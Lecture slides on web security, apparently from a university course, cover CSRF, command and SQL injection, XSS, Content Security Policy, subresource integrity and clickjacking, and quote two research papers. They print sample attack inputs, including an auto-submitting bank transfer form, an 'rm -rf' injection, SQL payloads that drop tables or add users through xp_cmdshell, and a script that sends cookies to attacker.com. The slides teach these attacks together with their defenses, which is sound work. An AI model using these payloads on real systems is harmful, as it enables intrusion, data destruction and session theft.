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Cross Site Request Forgery 
(CSRF)



Typical Authentication Cookies

bank.com

POST /login: 


username=X, password=Y

GET /accounts 


cookie: name=BankAuth, value=39e839f928ab79

200 OK 


cookie: name=BankAuth, value=39e839f928ab79 

POST /transfer  


cookie: name=BankAuth, value=39e839f928ab79



CSRF Scenario
• User is signed into bank.com


• An open session in another tab, or just has not signed off


• Cookie remains in browser state


• User then visits attacker.com


• Attacker sends POST request to bank.com


• Browser sends bank.com cookie when making the request (assume 
SameSite=None)



CSRF via POST Request
<form name=attackerForm action=http://bank.com/transfer>

  <input type=hidden name=recipient value=attacker>

</form>


<script>

  document.attackerForm.submit();

</script> 


Good News! attacker.com can’t see the result of POST 

Bad News! All your money is gone.



bank.comattacker.com

CSRF via POST Request



CSRF via GET Request
<html>

  <img src=“bank.com/transfer?from=X,to=Y"></img>

</html>


GET /transfer?from=X,to=Y 

Cookies:

 - domain: bank.com, name: auth, value: <secret>


Good News! attacker.com can’t see the result of GET

Bad News! All your money is gone anyway.



Paypal Login CSRF

If a site’s login form isn’t 
protected against CSRF 
attacks, you could also login to 
the site as the attacker.


This is called login CSRF.



Google Login CSRF example

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

POST /login HTTP/1.1
Referer: hƩp://www.aƩacker.com/blog
username=aƩacker&password=xyzzy

<form acƟon=hƩps://www.google.com/login
  method=POST target=invisibleframe>
  <input name=username value=aƩacker>
  <input name=password value=xyzzy>
</form>
<script>document.forms[0].submit()</script>

GET /blog HTTP/1.1

≈

www.aƩacker.com www.google.com

VicƟm Browser

Figure 1: Event trace diagram for a login CSRF attack. The victim visits the attacker’s site, and the attacker
forges a cross-site request to Google’s login form, causing the victim to be logged into Google as the attacker.
Later, the victim makes a web search, which is logged in the attacker’s search history.

3. The merchant silently logs the victim into his or her
PayPal account.

4. To fund her purchase, the victim enrolls his or her
credit card, but the credit card has actually been added
to the merchant’s PayPal account.

iGoogle. Using iGoogle, users can customize their Google
homepage by including gadgets. For usability, some gadgets
are “inline,” meaning they run in the security context of
iGoogle. Before adding such gadgets, users are asked to
make a trust decision, but in a login CSRF attack, a web
attacker makes the trust decision on behalf of the user:

1. Using his or her own browser, the attacker authors an
inline iGoogle gadget (containing a malicious script)
and adds it to his or her own personalized home page.

2. The attacker logs the victim into Google as the at-
tacker and opens a frame to iGoogle.

3. Google believes the victim to be the attacker and serves
the attacker’s gadget to the victim, letting the attacker
to run script in the https://www.google.com origin.

4. The attacker can now either (a) create a fake login
page at the correct URL, (b) steal the user’s autocom-
pleted password, or (c) wait for the user to log in using
another window and read document.cookie.

We disclosed this vulnerability to Google, and they have
mitigated the vulnerability in two ways. First, they have
deprecated the use of inline gadgets. Developers cannot cre-
ate new inline gadgets, and only a few of the most popu-
lar inline gadgets are still allowed [22]. Second, they have
deployed the secret token validation defense against login
CSRF (discussed below), but the defense is deployed only
in logging mode. We expect Google to begin denying login
CSRF attempts once they have fully tested their defense.

4. EXISTING CSRF DEFENSES
There are three mechanisms a site can use to defend it-

self against cross-site request forgery attacks: validating a
secret token, validating the HTTP Referer header, and in-
cluding additional headers with XMLHttpRequest. All of
these mechanisms are in use on the web today, but none of
them are entirely satisfactory.

4.1 Secret Validation Token
One approach to defending against CSRF attacks is to

send additional information in each HTTP request that can
be used to determine whether the request came from an
authorized source. This “validation token” should be hard
to guess for attacker who does not already have access to
the user’s account. If a request is missing a validation token
or the token does not match the expected value, the server
should reject the request.

Secret validation tokens can defend against login CSRF,
but developers often forget to implement the defense be-
cause, before login, there is no session to which to bind
the CSRF token. To use secret validation tokens to pro-
tect against login CSRF, the site must first create a “pre-
session,” implement token-based CSRF protection, and then
transition to a real session after successful authentication.

Token Designs. There are a number techniques for gener-
ating and validating tokens:

• Session Identifier. The browser’s cookie store is de-
signed to prevent unrelated domains from gaining ac-
cess to each other’s cookies. One common design is to
use the user’s session identifier as the secret validation
token. On every request, the server validates that the
token matches the user’s session identifier. An attacker
who can guess the validation token can already access
the user’s account. One disadvantage of this technique
is that, occasionally, users reveal the contents of web

Barth, Jackson, Mitchell CCS’08



Cookie-based authentication is not sufficient  
for requests that have any side effect


(even with SameSite=Lax)



Not All About Cookies



Home routers are great targets
Drive-By Pharming  

User visits malicious site. JavaScript scans home network looking for 
broadband router


 
<img src=“192.168.0.1/img/linksys.png” onError=tryNext() </img>


Once you find the router, try to login, replace firmware or change DNS to 
attacker-controlled server. 50% of home routers have guessable password.



Or native apps



What do all of these in common?

Server can’t tell if the code that made the request is their own or an attacker



CSRF Defenses
We need some mechanism that allows us to ensure that request is authentic 
— i.e., coming from a trusted page 


• Secret Validation Token


• Referer/Origin Validation


• SameSite Cookies


• Fetch Metadata



Secret Token Validation
bank.com includes a secret value in every form that the server can validate

<form action="/login" method="post" class="form login-form”>

  <input type="hidden" name="csrf_token" value=“434ec7e838ec3167efc04154205">

  <input type="hidden" name="came_from" value= "/"/>

  <input
    id="login"
    type="text"
    name="login"
  >

  <input
    id="password"
    type="password"
  >

  <button class="button button--alternative" type="submit">Log In</button>

</form>


http://bank.com


SameSite Cookies
Cookie option that prevents browser from sending a cookie with cross-site requests.


SameSite=Strict Never send cookie in any cross-site browsing context, even when 
following a regular link. If a logged-in user follows a link to a private GitHub project 
from email, GitHub will not receive the session cookie and the user will not be able 
to access the project. 

SameSite=Lax  Session cookie is allowed when following a navigation link but 
blocks it in CSRF-prone request methods (e.g. POST).


SameSite=None Send cookies from any context. 



Referer/Origin Validation
The Referer request header contains the URL of the previous web page from 
which a link to the currently requested page was followed. The Origin header 
is similar, but only sent for POSTs and only sends the origin. Both headers 
allows servers to identify what origin initiated the request.


https://bank.com           ->          https://bank.com          ✓


https://attacker.com      ->          https://bank.com           X 

https://attacker.com      ->          https://bank.com          ???

https://bank.com
https://bank.com
https://bank.com
https://bank.com


Not so great…

• Assumption: GET requests are not side-effecting


• Some are. Need another mechanism to tell your server request is 
coming from you.


• Assumption 2: browser will not send cookie cross-site if Lax/Strict set


• Old browsers ignore cookie attributes they don’t recognize.



A better future: Fetch Metadata



Fetch Metadata
• Solves fundamental problem: Tell server who they are talking to 


• Sec-Fetch-Site: {cross-site, same-origin, same-site, none} 
Who is making the request?


• Sec-Fetch-Mode: {navigate, cors, no-cors, same-origin, websocker} 
What kind of request?


• Sec-Fetch-User: ?1 
Did the user initiate the request?


• Sec-Fetch-Dest: {audio,document,font,script,..} 
Where does the response end up?



CSRF Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute 
unwanted actions on another web application (where they’re typically authenticated)


CSRF attacks specifically target state-changing requests, not data theft since the 
attacker cannot see the response to the forged request.


Defenses:

  - Validation Tokens (forms and async), robust but hard to implement 
  - Referer and Origin Headers, not sent with every request + privacy concern

  - SameSite Cookies, fail-open on old browsers

  - Fetch Metadata, robust but not supported on old browsers



Server-side Injection



Command Injection
• Injection bugs happen when you take user input data an allow it to be 

passed on to a program (or system) that will interpret it as code


• Shell


• Database


• Sound familiar?


• Similar idea to our low-level vulnerabilities, but at a higher level



Trivial example
The goal of command injection attacks is to execute an arbitrary command on the 
system. Typically possible when a developer passes unsafe user data into a shell.


Example: head100 — simple program that cats first 100 lines of a program


int main(int argc, char** argv) {

    char *cmd = malloc(strlen(argv[1]) + 100) 
    strcpy(cmd, “head -n 100 ”) 
    strcat(cmd, argv[1])

    system(cmd);

}



Source:

int main(int argc, char** argv) {

    char *cmd = malloc(strlen(argv[1]) + 100) 
    strcpy(cmd, “head -n 100 ”) 
    strcat(cmd, argv[1])

    system(cmd);

}

 
Normal Input: 

   ./head10 myfile.txt -> system(“head -n 100 myfile.txt”)

Trivial example



Source:

int main(int argc, char** argv) {

    char *cmd = malloc(strlen(argv[1]) + 100) 
    strcpy(cmd, “head -n 100 ”) 
    strcat(cmd, argv[1])

    system(cmd);

}

 
 
Adversarial Input: 

   ./head10 “myfile.txt; rm -rf /home”  
     -> system(“head -n 100 myfile.txt; rm -rf /home”)

Trivial example



Injection bugs in Python
Most high-level languages have safe ways of calling out to a shell.


Incorrect: 
import subprocess, sys 
cmd = "head -n 100 %s" % sys.arv[1] // nothing prevents adding ; rm -rf /
subprocess.check_output(cmd, shell=True)


Correct: 
import subprocess, sys

subprocess.check_output(["head", "-n", "100", sys.argv[1]])

Does not start shell. Calls head directly and safely 
passes arguments to the executable.



…Node.js



… PHP



Code Injection
Most high-level languages have ways of executing code directly. E.g., 
Node.js web applications have access to the all powerful eval (and friends).


Incorrect:
       var preTax   = eval(req.body.preTax);

        var afterTax = eval(req.body.afterTax);

        var roth     = eval(req.body.roth);


Correct: 
       var preTax   = parseInt(req.body.preTax);

        var afterTax = parseInt(req.body.afterTax);

        var roth     = parseInt(req.body.roth);

(Almost) never need to use eval!



SQL Injection (SQLi)

Last example focused on shell injection


Injection oftentimes occurs when developers try to build SQL queries that 
use user-provided data



SQL basics
• Structured query language (SQL)


•  Example:


•  SELECT * FROM books WHERE price > 100.00 ORDER BY title


• Also, be aware:


• Logical expression with AND, OR, NOT


• Two dashes (--) indicates a comment (until end of line)


• Semicolon (;) is a statement terminator





Insecure Login Checking
Sample PHP: 

 
$login = $_POST['login'];  

$sql = "SELECT id FROM users WHERE username = '$login'";  

$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success  
}



Insecure Login Checking
Normal Input: ($_POST["login"] = “alice") 

 
$login = $_POST['login'];


$sql = "SELECT id FROM users WHERE username = '$login'";


$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success 
}



Insecure Login Checking
Normal Input: ($_POST["login"] = “alice") 

 
$login = $_POST['login'];

   login = 'alice'
$sql = "SELECT id FROM users WHERE username = '$login'";

   sql = "SELECT id FROM users WHERE username = 'alice'" 

$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success 
}



Insecure Login Checking

Adversarial Input: ($_POST["login"] = “alice'")


$sql = "SELECT id FROM users WHERE username = '$login'";

  

$rs = $db->executeQuery($sql);




Insecure Login Checking

Adversarial Input: ($_POST["login"] = “alice'")


$sql = "SELECT id FROM users WHERE username = '$login'";

   SELECT id FROM users WHERE username = 'alice''

$rs = $db->executeQuery($sql);




Insecure Login Checking

Adversarial Input: ($_POST["login"] = "alice'")


$sql = "SELECT id FROM users WHERE username = '$login'";

   SELECT id FROM users WHERE username = 'alice''

$rs = $db->executeQuery($sql);

// error occurs (syntax error)




Building An Attack
Adversarial Input: "alice'--"  -- this is a comment in SQL   


  
$sql = "SELECT id FROM users WHERE username = '$login'";

 

$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success  
}



Building An Attack
Adversarial Input: "alice'--"  -- this is a comment in SQL   


  
$sql = "SELECT id FROM users WHERE username = '$login'";

  SELECT id FROM users WHERE username = 'alice'--' 

$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success  
}



Building An Attack
Adversarial Input: "'--"  -- this is a comment in SQL   


  
$login = $_POST[‘login'];

 

$sql = "SELECT id FROM users WHERE username = '$login'";

 

$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success  
}



Building An Attack
Adversarial Input: "'--"  -- this is a comment in SQL   


  
$login = $_POST[‘login'];

  login = ''--'
$sql = "SELECT id FROM users WHERE username = '$login'";

  SELECT id FROM users WHERE username = ''--' 

$rs = $db->executeQuery($sql);

if $rs.count > 0 { <- fails because no users found
   // success  
}



Building An Attack
Adversarial Input: "' or 1=1 --"  -- this is a comment in SQL   


  
$login = $_POST[‘login'];

  login = '' or 1=1 --'
$sql = "SELECT id FROM users WHERE username = '$login'";

  SELECT id FROM users WHERE username = '' or 1=1 --' 

$rs = $db->executeQuery($sql);

if $rs.count > 0 {

   // success  
}



Building An Attack
Adversarial Input: "' or 1=1 --"  -- this is a comment in SQL   


  
$login = $_POST[‘login'];

  login = '' or 1=1 --'
$sql = "SELECT id FROM users WHERE username = '$login'";

  SELECT id FROM users WHERE username = '' or 1=1 --' 

$rs = $db->executeQuery($sql);

if $rs.count > 0 { <- succeeds. Query finds *all* users
   // success  
}



Turning it into an attack

Adversarial Input: "'; drop table users --"    

  
$sql = "SELECT id FROM users WHERE username = '$login'";

  SELECT id FROM users WHERE username = ''; drop table users --' 

$rs = $db->executeQuery($sql);



Turning it into command injection
SQL server lets you run arbitrary system commands!


xp_cmdshell (Transact-SQL)

 
Spawns a Windows command shell and passes in a string for execution. 
Any output is returned as rows of text.




Adversarial Input: "'; exec xp_cmdshell 'net user add bad455 badpwd'--"

  
$sql = "SELECT id FROM users WHERE username = '$login'";

  SELECT id FROM users WHERE username = ''; 
exec xp_cmdshell 'net user add bad455 badpwd'--' 

$rs = $db->executeQuery($sql);

Turning it into command injection





Preventing SQL Injection
Never, ever, ever, build SQL commands yourself!


Use:


     Parameterized/Prepared Statements


     ORMs (Object Relational Mappers)


NoSQL databases are vulnerable to similar attacks (e.g., object injections)



Parameterized SQL: Separate Code and Data

Parameterized SQL allows you to pass in query separately from arguments


sql = "SELECT * FROM users WHERE email = ?"  
cursor.execute(sql, [‘nadiah@cs.ucsd.edu’])


sql = “INSERT INTO users(name, email) VALUES(?,?)” 
cursor.execute(sql, [‘Deian Stefan', ‘deian@cs.ucsd.edu’]) 

Benefit: Server will automatically handle escaping data


Extra Benefit: parameterized queries are typically faster because server can cache 
the query plan

Values are sent to server  
separately from command.  
Library doesn’t need to try to escape



ORMs
Object Relational Mappers (ORM) provide an interface between native 
objects and relational databases


class User(DBObject): 
    __id__ = Column(Integer, primary_key=True) 
    name   = Column(String(255)) 
    email  = Column(String(255), unique=True)


users = User.query(email='nadiah@cs.ucsd.edu’) 
session.add(User(email=‘deian@cs.ucsd.edu’, name=‘Deian Stefan’) 
session.commit()

Underlying driver turns OO code into 
prepared SQL queries.

Added bonus: can change underlying 
database without changing app code.  
From SQLite3, to MySQL, MicrosoftSQL, 
to No-SQL backends!



Injection Summary

Injection attacks occur when un-sanitized user input ends up as code (shell 
command, argument to eval, or SQL statement).


This remains a tremendous problem today


Do not try to manually sanitize user input. You will not get it right.


Simple, foolproof solution is to use safe interfaces (e.g., parameterized SQL)



Client-side injection or

Cross Site Scripting (XSS)



Cross Site Scripting (XSS)
Cross Site Scripting: Attack occurs when application takes untrusted data 
and sends it to a web browser without proper validation or sanitization.


Command/SQL Injection

attacker’s malicious code is 
executed on victim’s server

Cross Site Scripting

attacker’s malicious code is 

executed on victim’s browser



Search Example

<html>

  <title>Search Results</title>

  <body>

    <h1>Results for <?php echo $_GET["q"] ?></h1>  
  </body>

</html>

https://google.com/search?q=<search term>



Search Example
<html>

  <title>Search Results</title>

  <body>

    <h1>Results for <?php echo $_GET["q"] ?></h1>  
  </body>

</html>

https://google.com/search?q=apple

<html>

  <title>Search Results</title>

  <body>

    <h1>Results for apple</h1>  
  </body>

</html>

Sent to Browser



Search Example
<html>

  <title>Search Results</title>

  <body>

    <h1>Results for <?php echo $_GET["q"] ?></h1>  
  </body>

</html>

https://google.com/search?q=<script>alert(“hello world”)</script>

<html>

  <title>Search Results</title>

  <body>

    <h1>Results for <script>alert("hello world”)</script></h1>  
  </body>

</html>

Sent to Browser



Search Example
https://google.com/search?  
    q=<script>window.open(http://attacker.com? ... document.cookie ...)</script>

<html>

  <title>Search Results</title>

  <body>

    <h1>Results for  
      <script>window.open(http://attacker.com? ...  
            cookie=document.cookie ...)</script></h1>  
  </body>

</html>

Sent to Browser



Types of XSS
An XSS vulnerability is present when an attacker can inject scripting code 
into pages generated by a web application.

 

Reflected XSS. The attack script is reflected back to the user as part of a 
page from the victim site. 

Stored XSS. The attacker stores the malicious code in a resource managed 
by the web application, such as a database. 



Reflected Example

Attackers contacted PayPal users via email and fooled them into accessing 
a URL hosted on the legitimate PayPal website.


Injected code (included in URL) redirected PayPal visitors to a page warning 
users their accounts had been compromised.


Victims were then redirected to a phishing site and prompted to enter 
sensitive financial data.



Stored XSS
The attacker stores the malicious code in a resource managed by the web 
application, such as a database.



Samy Worm
Samy Kamkar found a way to bypass checks in MySpace* site and was able 
to inject JavaScript onto his page.


XSS-based worm that spread on MySpace. It would display the string "but 
most of all, samy is my hero" on a victim's MySpace profile page as well as 
send Samy a friend request. 


In 20 hours, it spread to one million users.

*MySpace is like TikTok but from 16 years ago



MySpace allowed users to post HTML to their pages. Filtered out


<script>, <body>, onclick, <a href=javascript://>


 
Missed one. You can run JavaScript inside of CSS tags.

<div style= “background:url('javascript:alert(1)')">

Samy Worm



samy.pl/myspace



Kamar was raided by the Secret Service


Pled guilty to felony charge ($20K fine, 3 years probation, 720hrs service)

Samy Worm



Preventing XSS: Filtering and Sanitizing

For a long time, the only way to prevent XSS attacks was to try to filter out 
malicious content.


Validates all headers, cookies, query strings, form fields, and hidden fields 
(i.e., all parameters) against a rigorous specification of what should be 
allowed.


Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or 
attack signature based policies are difficult to maintain and are likely to be 
incomplete



Filtering is Really Hard
Large number of ways to call JavaScript and to escape content


URI Scheme: <img src=“javascript:alert(document.cookie);”>


Event Handers: onSubmit, OnError, onSyncRestored, … (there’s ~105)

Samy Worm: CSS


Tremendous number of ways of encoding content

<IMG_SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000
114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#00
00114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#
0000041>

Google XSS FIlter Evasion!



Filters that Change Content

Filter Action: filter out <script 
Attempt 1: <script src= "…">

    

Attempt 2:

    



Filters that Change Content

Filter Action: filter out <script 
Attempt 1: <script src= "…">

     src="…"
Attempt 2:

    



Filters that Change Content

Filter Action: filter out <script 
Attempt 1: <script src= "…">

     src="…"
Attempt 2: <scr<scriptipt src="..."
     <script src="...">



Filters that Change Content

Today, web frameworks take care of filtering out malicious input*

Do not roll your own.





Content Security Policy
CSP allows for server administrators to eliminate XSS attacks by specifying 
the domains that the browser should consider to be valid sources of 
executable scripts. 

Browser will only execute scripts loaded in source files received from 
whitelisted domains, ignoring all other scripts (including inline scripts and 
event-handling HTML attributes).



Example CSP 1

Example: content can only be loaded from same domain; no inline scripts


Content-Security-Policy: default-src 'self'




Example CSP 2
Allow: 
 - include images from any origin in their own content 
 - restrict audio or video media to trusted providers 
 - only allow scripts from a specific server that hosts trusted code; no inline scripts


Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com; 
script-src userscripts.example.com




Content Security Policy
Administrator serves Content Security Policy via:

HTTP Header 

Content-Security-Policy: default-src 'self'

 
Meta HTML Object 

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-
src https://*; child-src 'none';">



Still Not Enough

• Rendering is not solely done server-side. User-controlled data is also 
handled client side (especially for modern apps that use the server as a 
simple database and do most of the rendering client side).


• Need to deal with another type of XSS: DOM-based XSS



<html>

  <title>Search Results</title>

  <body>

...

    Select your language:

 <select>

  <script>

  const  href = document.location.href;

  document.write(“<option value=1>”  + href.substring(href.indexOf(“default=“)+8) + "</option>");

  document.write("<option value=2>English</option>");

  </script>  
 </select>

...  
  </body>

</html>

Global Search Example
/search?default=French



<html>

  <title>Search Results</title>

  <body>

...

    Select your language:

 <select>

  <option value=1>French</option>

  <option value=2>English</option>  
 </select>

...  
  </body>

</html>

Global Search Example
/search?default=French



Global Search Example
/search?default=<script>alert(“hello world”)</script>

<html>

  <title>Search Results</title>

  <body>

...

    Select your language:

 <select>

  <option value=1><script>alert(“hello world”)</script></option>

  <option value=2>English</option>  
 </select>

...  
  </body>

</html>



Trusted Types
• Instead of allowing arbitrary strings to end up in sinks like document.write 

and innerHTML, only allow values that have been sanitized/filtered. 
Trusted values don’t have type String, they have type TrustedHTML.


• Restrict the creation of values that have this type to small trusted code. 
 
 
 

const templatePolicy = TrustedTypes.createPolicy('template', {

  createHTML: (templateId) => {

    const tpl = templateId;

    if (/^[a-z-]$/.test(tpl)) {

      return `<option value=“1">${tpl}</option>`;

    }

    throw new TypeError();

  }

});



Trusted Types
• Instead of allowing arbitrary strings to end up in sinks like document.write 

and innerHTML, only allow values that have been sanitized/filtered. 
Trusted values don’t have type String, they have type TrustedHTML.


• Restrict the creation of values that have this type to small trusted code. 
 
 
 

const templatePolicy = TrustedTypes.createPolicy('template', {

  createHTML: (templateId) => {

    const tpl = templateId;

    if (/^[a-z-]$/.test(tpl)) {

      return `<option value=“1">${tpl}</option>`;

    }

    throw new TypeError();

  }

});

Better. Not great. Still need to get your 
sanitization/filtering function right.



Using untrusted/vulnerable 
components (next lecture)



Third Party Content Safety

Question: how do you safely load an object from a third party service?


<script

  src="https://code.jquery.com/jquery-3.4.0.js"

</script>


Problem: if code.jquery.com is compromised, your site is too



Libraries can be backdoored
2013: MaxCDN, which hosted bootstrapcdn.com, was compromised


MaxCDN had laid off a support engineer having access to the servers where 
BootstrapCDN runs. The credentials of the support engineer were not 
properly revoked. The attackers had gained access to these credentials.


Bootstrap JavaScript was modified to serve an exploit toolkit



(Server side too:                              .)



Sub Resource Integrity (SRI)

Idea: Specify hash of script you think you’re loading and let browser verify it


<script

  src="https://code.jquery.com/jquery-3.4.0.min.js"

  integrity="sha256-BJeo0qm959uMBGb65z40ejJYGSgR7REI4+CW1fNKwOg="

</script>



What if that content is an ad?

Problem: You don’t necessarily know the ad source ahead of time. Can you 
just put it in an iframe? Is this enough?



SOP for Frames is Lax

• If frame is same origin: no isolation


• Even if frame is cross-origin: malicious code in iframe can do a lot!


• Auto-focus and play videos


• Create pop ups


• Navigate the top page



iFrame Sandbox
• Sandbox attribute associated with iframe, by default


• disallows JavaScript and triggers (autofocus, autoplay videos etc.)


• disallows form submission


• disallows popups


• disallows navigating embedding page


• runs page in unique origin: no storage/cookies



What if embedding page is untrusted?

• Clickjacking attacks: 
overlay transparent iframe, 
trick user to click/type


• You don’t want to let 
anybody to load your page 
in an iframe 
 
CSP to the rescue!
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Abstract

Web framing attacks such as clickjacking use
iframes to hijack a user’s web session. The most
common defense, called frame busting, prevents
a site from functioning when loaded inside a
frame. We study frame busting practices for the
Alexa Top-500 sites and show that all can be cir-
cumvented in one way or another. Some circum-
ventions are browser-specific while others work
across browsers. We conclude with recommen-
dations for proper frame busting.

1 Introduction

Frame busting refers to code or annotation
provided by a web page intended to prevent
the web page from being loaded in a sub-frame.
Frame busting is the recommended defense
against clickjacking [10] and is also required
to secure image-based authentication such as
the Sign-in Seal used by Yahoo. Sign-in Seal
displays a user-selected image that authenticates
the Yahoo! login page to the user. Without
frame busting, the login page could be opened
in a sub-frame so that the correct image is
displayed to the user, even though the top
page is not the real Yahoo login page. New
advancements in clickjacking techniques [22]
using drag-and-drop to extract and inject data
into frames further demonstrate the importance
of secure frame busting.

Figure 1: Visualization of a clickjacking attack
on Twitter’s account deletion page.

Figure 1 illustrates a clickjacking attack: the
victim site is framed in a transparent iframe that
is put on top of what appears to be a normal
page. When users interact with the normal page,
they are unwittingly interacting with the victim
site. To defend against clickjacking attacks, the
following simple frame busting code is a com-
monly used by web sites:

i f ( top . l o c a t i o n != l o c a t i o n )
top . l o c a t i o n = s e l f . l o c a t i o n ;

Frame busting code typically consists of a
conditional statement and a counter-action that
navigates the top page to the correct place.
As we will see, this basic code is fairly easy
to bypass. We discuss far more sophisticated
frame busting code (and circumvention tech-
niques) later in the paper.
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Today

https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010-2017%20(en).pdf




